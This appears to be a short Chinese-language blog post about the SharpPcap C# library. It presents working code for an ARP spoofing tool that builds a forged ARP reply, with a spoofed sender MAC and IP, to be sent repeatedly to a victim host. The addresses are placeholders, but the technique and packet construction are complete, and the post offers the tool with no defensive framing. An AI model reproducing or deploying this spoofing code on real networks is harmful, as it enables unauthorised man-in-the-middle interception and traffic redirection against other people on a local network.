这几天在看Sharppcap的代码,这是一个C#下的pcap类库。可以用它来伪造tcp,arp等不同的数据包,然后发送出去。
我用它来做了个arp欺骗的小工具,原理很简单,就是构造一个假的ARP回复包并不断的发送给受骗主机。
构造ARP包的代码如下:
复制内容到剪贴板
程序代码
int iLen = EthernetFields_Fields.ETH_HEADER_LEN;
byte[] b = new byte[60];
ARPPacket arp = new ARPPacket(iLen, b);
arp.EthernetProtocol = EthernetPacket.EtherType.ARP;
arp.ARPHwLength = 6;
arp.ARPHwType = ARPFields_Fields.ARP_ETH_ADDR_CODE;
arp.ARPProtocolLength = 4;
arp.ARPProtocolType = ARPFields_Fields.ARP_IP_ADDR_CODE;
//目标主机MAC地址
arp.DestinationHwAddress = PhysicalAddress.Parse("yyyy");
//发包主机MAC地址
arp.SourceHwAddress = PhysicalAddress.Parse("xxxxx");
arp.EthernetProtocol = EthernetPacket.EtherType.ARP;
//要伪造的地址,关键是这个地方
arp.ARPSenderHwAddress = PhysicalAddress.Parse("cccc");
arp.ARPSenderProtoAddress = IPAddress.Parse("IP地址");
//目标地址
arp.ARPTargetHwAddress = PhysicalAddress.Parse("yyyy");
arp.ARPTargetProtoAddress = IPAddress.Parse("IP");
//回复包
arp.ARPOperation = ARPFields_Fields.ARP_OP_REP_CODE;
数据包构造完之后,用device.SendPacket()把这个包发送出去就好了